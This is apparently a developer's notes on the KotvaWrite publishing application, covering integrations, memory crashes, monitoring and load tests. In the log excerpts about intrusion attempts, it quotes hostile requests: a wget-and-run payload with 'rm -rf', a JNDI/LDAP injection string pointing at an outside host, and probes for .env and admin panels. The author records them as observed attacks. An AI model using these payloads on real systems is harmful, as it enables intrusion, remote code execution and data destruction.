A wide range of situation reports, early warnings etc. could be collected, generated and communicated in abundance, and there are a variety of applications for their management, from Linux utilities to web applications. The usability and applicability of these will be explored.
It could be useful for the customer and the authenticated users to have some sense of e.g the current state of the server(s). Or at a higher level of abstraction, prior knowledge of the increased attention and consequences toward some solutions or writings in the publishing application could help in some kind of preparations.
Aa preliminary examining of what kind of e.g. coding it takes to send text with a image to a microblogging service where one might want to share something that was published. At least for Mastodon and Bluesky, the user would be required to create a user account, of course, and also to create an application in the settings of such to which a message can be sent for publishing programmatically (via an API).
Creating an application in the settings of a microblogging service is not a difficult operation in itself. It mainly requires giving it a name, after which an apikey or similar gets generated and which should then be stored to user settings of the publishing application.
It was also examined how readable the developer documentations are and if they leave many open questions.
Not necessarily relevant to a user of the publishing application, but some may be interested about the amount of code required to post to these microblogging services. Here are a couple of code snippets to give some idea.
Well-choosen writing names and mainimages can be used to characterise the content of a writing in a way that appeals to the reader. Mainimages can also be used e.g. to set a tone, be sarcastic or create feelings that some writings are kind of related to each other.
There are browser add-ons that could be highly recommend, and others that one may find useful if one feels like using them. Among the highly recommended ones are e.g. Snap Links (https://cpriest.github.io/SnapLinksPlus), which allows opening multiple links at once and, optionally, copy the links to the clipboard, and Gesturefy (https://github.com/Robbendebiene/), which allows to define mouse gestures to make browsing easier. It makes things run smoothly when one can switch to the next tab by moving the mouse a few pixels (while also pressing e.g. the right mouse button). Both are available for the Firefox browser from its add-on directory (addons.mozilla.org).
To aid in fixing grammatical mistakes, detecting errors in using words etc. a browser add-on can be installed which, after registering as a user and logging in to the add-on, will check the text and mark parts of it that might need correcting. These add-ons probably don't need to be configured or adjusted. Changes can be accepted directly in the text editor.
As a kind of gateway theory, when registering as a user to such a service, one may discover that they offer other features such as AI-assisted text generation. In a way, this is the opposite of what this publishing application was intended to be, at least originally, i.e. primarily to create something yourself, with some additional functionality or external service e.g. as a helper and/or checker, if one wants to use them. It probably won't be a bad thing since e.g. rephrasing what is already written by AI is rather similar operation to language translation, which as a feature is already implemented.
Desktop publishing software InDesign has for a long time allowed all its functionality to be controlled by ExtendScript, so after a while of exploring the InDesign's API, it became clear that it is indeed possible to be used to do what had already been envisioned and what was not dexterous enough with the LaTeX typesetting system. A backup of a project (zip package) contains all the essentials for creating an InDesign version, and in practice that is needed to do is to run a single script in InDesign that first which directory the decompressed files are in and then generates the same work in different form based on the available writings, style definitions etc.
Even when running on a single server KotvaWrite Stories could easily be left for a month without any special monitoring if the number of concurrent users is not overly high. An exception to this assumption may be made in mysterious cases where the memory and disk usage of a virtual server (Linux) momentarily rise quickly and stay in that state for some time. That could crash the application server on which the publishing application is installed. The consequences may not be too critical, as any unfinished database and file saves can/should be fixed and cleaned up semi-automatically, after which a simple restart of the application server might be sufficient to get things back to normal. However, if there is a large number of hacking attempts involved, some OS-level resources may be exhausted, such as the number of open files ("files that are currently being reviewed or modified").
By looking through the log file of the kernel of a Linux operating system in use, one may notice that the Java process has run out of memory on e.g. 15.10.2022, 18.8.2022 and 5.8.2022:
[Sat Oct 15 23:42:37 2022] Out of memory: Killed process 1295081 (java)
[Thu Aug 18 11:45:30 2022] Out of memory: Killed process 272984 (java)
[Fri Aug 5 06:11:36 2022] Out of memory: Killed process 4157049 (java)
To be a bit more specific, the application server on which the publishing application is installed is actually a Java servlet container running on a Java Virtual Machine (JVM), and it is configurable in which limits the associated Java process is allowed to use memory. Stress tests have shown that certain configurations for memory usage are enough - until for some reason they are not.
On the Linux operating system where the publishing application is installed, two APM (Application Performance Monitoring) agents are separately installed, which collect in real time information e.g. about both the operating system and the publishing application, which can then be viewed in a variety of ways in the web interfaces of the APM services (which might be New Relic and Datadog). In these out of memory cases, one and the same thing has always been found to be true: the amount of web traffic has not been a significant factor at a time when virtual process usage has grown by e.g. a factor of 20 and disk is used in a miraculously large amount in a short period of time. At such times, it is not surprising that the database queries might take more than ten seconds to run instead of the normal few milliseconds.
In addition, there is also an external service such as Papertrail, which can be used for redirecting log data from several sources such as the application server and the operating system, so that the log data does not have to be read in a Linux shell, but instead it can be viewed through a certain kind of web interface. A notion about hackers hava emerger from browsing the gathered logs. It seems that someone or some wannabe hackers etc. have done a lot of some kind of crude experimentation to get through defences of the operating system, application server and release application. This has been ongoing throughout 2022, but not once has there been an attempt to cause a Distributed Denial of Service (DDoS) attack, but e.g. rather a slow experimentation with usernames and passwords spread over a long period of time, with no more than a few dozen attempts per minute. That means every minute, every hour, every day and every month. Couldn't they just do something valid and successful the first time?
Contemplating the cause of the timing of out of memory errors tend to lead to a notion that the timing of some of the hacking attempts happen just seconds before the memory runs out, but could that have something do with not having dedicated servers? That means the same physical hardware resources are used by more than one datacenter client (in other words: a server is actually a so-called virtual server). Sometimes the actual hardware can cause failures, so the cause for problems could also be something other than what can be seen in the available logs and dashboards displaying visualized data. However, the data centre service provider said that was no anomaly to report at the time of the problematic out of memory events.
There are other explanations for out of memory errors and other strangely anomalous problems than those already mentioned. E.g. the application server might be way behind the latest version, and the same could apply to Java, the programming language used on the server side. There are separate settings for when and how the application server and Java clean up memory to remove things that are no longer needed, but they are rather generally left to their default settings. All of this is quite manageable, but may require lots of monitoring and testing to detect borderline cases.
The remainder of this article contains observations about certain out of memory event. And if this is where one can send greetings to the administration of the publishing application, it should be mentioned that some additional configuration could be done to ensure that the IP addresses wouldn't appear as 127.0.0.1 in the application server logs, but as the original IP addresses. Although, could General Data Protection Regulation (GDPR) have anything to say about this?
Plenty of login attempts in the logfile /var/log/messages:
Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Invalid user ktx from 5.51.84.107 port 55716
Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Received disconnect from 5.51.84.107 port 55716:11: Bye Bye [preauth]
Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Disconnected from invalid user ktx 5.51.84.107 port 55716 [preauth]
Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Invalid user postgres from 195.88.87.19 port 53396
Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Received disconnect from 195.88.87.19 port 53396:11: Bye Bye [preauth]
Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Disconnected from invalid user postgres 195.88.87.19 port 53396 [preauth]
Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Invalid user Test from 179.60.147.99 port 37284
Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Connection closed by invalid user Test 179.60.147.99 port 37284 [preauth]
Oct 15 23:13:34 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Invalid user support from 193.106.191.50 port 49598
Oct 15 23:13:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Connection closed by invalid user support 193.106.191.50 port 49598 [preauth]
Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Invalid user Test from 179.60.147.99 port 55870
Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Connection closed by invalid user Test 179.60.147.99 port 55870 [preauth]
Oct 15 23:39:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2491284]: Received disconnect from 92.255.85.69 port 26930:11: Bye Bye [preauth]
A few suspicious log lines here and there in the application server log file localhost_access_log:
127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "POST /core/.env HTTP/1.1" 404 764
127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "GET /core/.env HTTP/1.1" 404 764
127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST / HTTP/1.1" 200 13720
127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST /core/.env HTTP/1.1" 404 764
127.0.0.1 - - [15/Oct/2022:23:21:47 +0200] "GET /view.jsp?solutionid=539'A=0&writingid=12501 HTTP/1.1" 200 13477
127.0.0.1 - - [15/Oct/2022:23:21:52 +0200] "GET /view.jsp?solutionid=539&writingid=12501'A=0 HTTP/1.1" 200 15507
A few hundred variations to access non-installed web interface:
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 782
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 783
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 778
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 772
127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 784
Trying to gain access by typing parameters and guessing addresses:
127.0.0.1 - - [15/Oct/2022:16:18:21 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756
127.0.0.1 - - [15/Oct/2022:16:18:25 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756
127.0.0.1 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.pl HTTP/1.1" 404 759
195.96.137.4 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.jsa HTTP/1.1" 404 760
127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /linusadmin-phpinfo.php HTTP/1.1" 404 773
127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /infos.php HTTP/1.1" 404 760
127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 404 790
127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1" 404 791
82.99.217.202 - - [15/Oct/2022:07:52:03 +0200] "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FY3D HTTP/1.1" 200 13720
127.0.0.1 - - [15/Oct/2022:01:29:44 +0200] "POST /FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 HTTP/1.1" 404 787
The second log on the application server (catalina) sometimes contains an experiment with imaginary weaknesses:
14-Oct-2022 04:01:50.622 INFO [http-nio2-8080-exec-21] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header
Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00{0x01;0x993Z0x15e}0x005/0x050x010x00...]. HTTP method names must be tokens
15-Oct-2022 14:21:12.637 INFO [http-nio2-8080-exec-6] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header
Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00{0xe40x920x88{#{*<0xc80xec0xfc}l0x820x85\0xcc0x1a0xc0/0x0050xc00x000x00...]. HTTP method names must be tokens
Virtual server processor load due to utilization
When there is not enough CPU power available, because of to the modest vcpu level of the virtual server, the load on the application server starts to show up in the CPU utilization, which is visualized here in the graph as it is shown in the Hetzner web interface. It shows that instantaneous CPU utilizations have been considerably higher than they usually are.
The same level of load can also be characterised in e.g. the Datadog monitoring service, which in this case shows how increasing the number of visitors per minute by a thousand, and again by a thousand, etc., has resulted in an ever-increasing load.
Excessive queuing of visitors causes delays in processing
test page: writing with a couple of dozen paragraphs of text and a few images
page loads: 8000 per minute
vcpu: 4
maxthreads: 3 - 4
survivability: when many visitors are not prepared to be handled very much at once, visitors have to wait longer to be processed, but even setting maxthreads higher by just one can be enough to stabilise response times
Front pages of solutions often cause only minimal load
test page: front page of a solution, about forty writings in a few collections of writings, shown using front type of plain structure
sivulataukset: 10000 per minuutti
vcpu: 4
survivability: uncached page loads with a smooth response time of about 110 ms, with max. visitors. 200 per second
Simultaneous processing of image uploads causes wavering in response times
test page: front page of a solution, about forty writings in a few collections of writings, shown using front type of plain structure
concurrency: throughout the test, the same virtual server receives and scales one image at a time to different sizes having 1920x1080 pixels
sivulataukset: 10000 per minute
vcpu: 4
survivability: slight wavering in response times, but no more than about 40 seconds, when maximum number of visitors is 200 per second
Thousands of writing collections can be loaded with lesser server resources
test page: all the about 30 writings from a writing collection loaded at once
page downloads: 4000 per minute
vcpu: 4
survivability: response times remain reasonably low, but there is constant chatter
A few tens of thousands of writings can be loaded per minute by increasing the processing power
testisivu: a writing having twenty paragraphs and few images
page loads: 35000 per minute
vcpu: 8
maxthreads: 140
survivability: steadily increasing the number of visitors increases the response times quite correlatively for a writing that would be loaded seperately in about 80 ms, and the response times do not stabilize, but 35000 page loads per minute with a good average loading speed of 250 ms is not a bad test result at all
Nearly ten thousand writing collections can be loaded by increasing the processing power
test page: a writing collection having 30 writings loaded at a time
page loads: 4000 - 9000 per minute
vcpu: 8
survivability: response times improve by almost 100 milliseconds compared to vcpu 4 and remain more or less stable, staying at that level up to 7000 page loads per minute, but 8000 starts to become more difficult for the server and 9000 was then more or less impossible to test without timeouts growing very high
Steady increase in visitor numbers makes it difficult to stabilise response times
test page: a writing collection having 10 writings loaded at a time
page loads: 10000 per minute
vcpu: 8
survivability: doubling the number of vcpus from 4 allows to pass the test that last for a minute, but a steady increase in the number of visitors increases the response times quite correlatively
Timeout errors may caused by configurating server imprudently
test page: a writing collection having 10 writings loaded at a time
vcpu: 4
survivability: when a Tomcat server is configured in an imprudent manner, it can become badly overloaded, with visitors being forced to queue up and some not getting fully processed
The text editor component has long been perceived as something of a risk, as there seemed to be no newer version coming from its developer, even though it had been promised several years ago. Version 1.3.7 was released in September 2019 and the first beta version of the next version was not released until December 2023. From then on, it was another six months and many additional changes and bug fixes before it could be perceived as stable upgrade that might be worth trying.
One of long-standing problems was the Undo/Redo function causing the text editor content to become disordered and the cursor to jump oddly to wrong places. That seems be fixed. Fortunately, there are not many other software components like this, so switch to another one wasn't made.
The text editor component has been used, among other things, for its extensibility, as it is convenient to prepare new elements for it to use in writings (e.g. placeholders) and the well-functioning Undo/Redo are very important when there are many different styles in a writing.
Writing collections, writings and special pages are not the only things one can encounter on the front page of a solution. A feature called Sideshow allows placing a kind of information panel on the side of the front page, which can display results of queries from different databases, lists of writing by some criteria, news from other sites, advertisements, interactive features, etc.
It has been possible to grant editing rights on a project-by-project basis to users of the publishing application instance for a long time, but selecting co-editing users requires turning the experimental features on for a moment. Editing user permissions are strictly predefined CRUD rights and allow editing almost everything in a project except deleting it. CRUD comes from words Create, Read, Update and Delete. Editing user's rights don't allow to use side project's view like writing sending, file storing, AI image search etc. Adequate sets also cannot be co-edited.
One could also share permissions by sharing the session code after login, but then one would granted access to everything that can be done with that user account.
In the internal functions of the publishing application, the possibility of real-time machine-to-machine communication between users of the publishing application on two different terminals has been prepared, but has not been used for the purpose of co-editing.
Authors markings are also just an intention, which cannot be enabled even by turning on the experimental features. The idea has been to allow the user to add authors to both their own writings and writings belonging to projects to which he has received editing rights. They will be used in contexts in which the authors' details etc. will be displayed. E.g. in the fine-tuning view, you could add the contributors placeholder to the writing, which will be used to generate author information in the final version of the writing. The function for this can be found in the Tools menu ("Functional embed: contributors"). That placeholder can be converted to plain text by Alt-clicking.
These "authors" can be created in the Authors tab of the user preferences, and they can be transferred from one user to another if necessary. They can be used to communicate to readers the role played by each author in the creation of the writing. Later on, images can also be used, but at this stage these authors are text only. Users with editing rights will not be able to remove authors other than their own.
These authors are loosely decoupled from writings in such a way that if a project is first exported and then deleted from among other projects, the relationship between them is broken. The backup will only include a hint of the author's name, but on the other hand there will be a semi-automatic function in the Usabilities view to reconnect authors.
The "spacious" text editing attempts to emulate pages placed side by side and underneath each other by using resizable text areas, where text is automatically run through as many other text areas as necessary as the text is typed or after text areas are resized. It is possible to move from one text area to another by using the arrow keys on the keyboard. If images or other attachments are attached to the writing, they will remain unchanged, even if they are not displayed in this mode to indicate that they are attached to the writing.
Spacious mode has a restriction, at least for now, that the font must be a monospaced (fixed width), and there can be no formatting or included images in the writing (they will get removed). Also, the text cannot be copied with the mouse in such a way as to copy the contents of more than one text areas at a time. At the bottom of the first text area there is a resize button that allows adjusting the size of all text areas, e.g. to have two wide and tall text areas next to each other, three oblong text areas next to each other or small text areas in a grid pattern. Excess text areas are automatically deleted or, if more are needed to accommodate the text, they are added. Adjusting the size of the browser window gives more control over how many text areas can be placed side by side. Those that cannot fit on one row will start a new row of text areas.
In spacious mode, it is possible to move text paragraphs forwards or backwards by placing the cursor over a text paragraph and pressing up or down arrow key together with the Ctrl key. The moving text paragraph will then swap places with the adjacent one. This functionality strengthens the feeling that the text is continuous as the text paragraph moves between text areas as well as in the same text area.
KotvaWrite Stories and KotvaWrite Explanations (2017)
The main purpose of the KotvaWrite has been to make it possible to carry out a large number of layout experiments and adjustments to literary works in a short enough time so that the time spent waiting does not feel long and meaningful results can be reached effortlessly. However, the typesetting system (XeTeX) does not keep up with such a fast pace and that significantly guided the product development and thus it was decided to split it into two different product lines, one (KotvaWrite Stories) producing HTML-based works with a wider range of style options and the other (KotvaWrite Explanations) producing both PDF- and HTML-based works, but with slightly more limited layout and adjustment options.
JDK 1.8, JPA, REST, EclipseLink, Eclipse, Visual Paradigm for UML, Foundation, Backgrid, Backbone, Underscore.js, SASS, jQuery, HTML5, CSS 2.1/3, MySQL, MariaDB, MongoDB, JavaScript, NoSQL, JNDI, Tomcat 8, Digital Ocean, Putty, Linux command line tools, TeX, LaTeX, XeLaTeX, Loadster, NeoLoad, New Relic, Datadog, Nginx, HAProxy, Parse API, UML, Git, JUnit, Photoshop, MySQL Workbench
Process for generating preview images for a single writing
Java-based code generates a .tex file on the server side and then calls xelatex.exe or pdflatex.exe to produce a .pdf file having its structure and styling mostly affected by the settings made in the web interface. The XeTeX typesetting system makes its best effort to compile the final results on one run, but sometimes it needs to be instructed make another set of calculations after first run. Apache PDFBox is used to generate thumbnails of individual pages for viewing in the web interface.
KotvaWrite 2
It is still a web application for producing book-length, online readable works. The application consists of four parts that can be used for these:
- Importing of material to be used in writings from multitude of sources.
- Arranging material and writings.
- Text writing and editing, compiling writings into a literary work that gets generated on the basis of parameters that affect layout, styling and presentation.
The most significant renovation compared to the previous version has happened at the interface level as it has been completely redesigned. The application has been designed using responsive design to substantially improve the user experience. Some additional features have been added since then (including an automatically generated PDF file and fine-tuning of the print version of the HTML version).
Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Foundation, Backgrid, Backbone, SASS, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, iText, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench
KotvaWrite v1.0
KotvaWrite is a useful web application for creating and editing text-based material that can take a book-like structure (in essence, multiple writings placed in collections that can be combined into a larger whole), which can be exported as a PDF file or made readable by others in HTML format. Text can be accompanied by images, illustrations, drawings and certain other types of "attachments" often seen in blog posts.
Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench
Ancoaarmade (predecessor of KotvaWrite)
The idea was to develop an web application that would serve its users' in needs like: writing down observations, self-learning, organising and publishing information, producing information, organising thoughts and remembering things. The final product will be a set of writings, which can be made public if desired, and which may consist of various collected or generated materials such as video clips, diagrams, pictures, drawings, etc. illustrative material. Material can be brought in from external data sources or from a mobile phone.
Java EE 6, JAXB, JPA, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, CloudBees, Amazon AWS, Jasmine, DOH Robot, UML, Microsoft Project, JIRA, Mylyn, Git, PureTest, CodePro Analytix, PMD, JUnit, Photoshop, Fireworks, SHA1, PayPal API, Chrome extension, Firefox Add-on, Mockingbird, Adobe AIR, MySQL Workbench, Jenkins, continuous integration, REST, async servlets + filters, refactoring, design patterns, naming conventions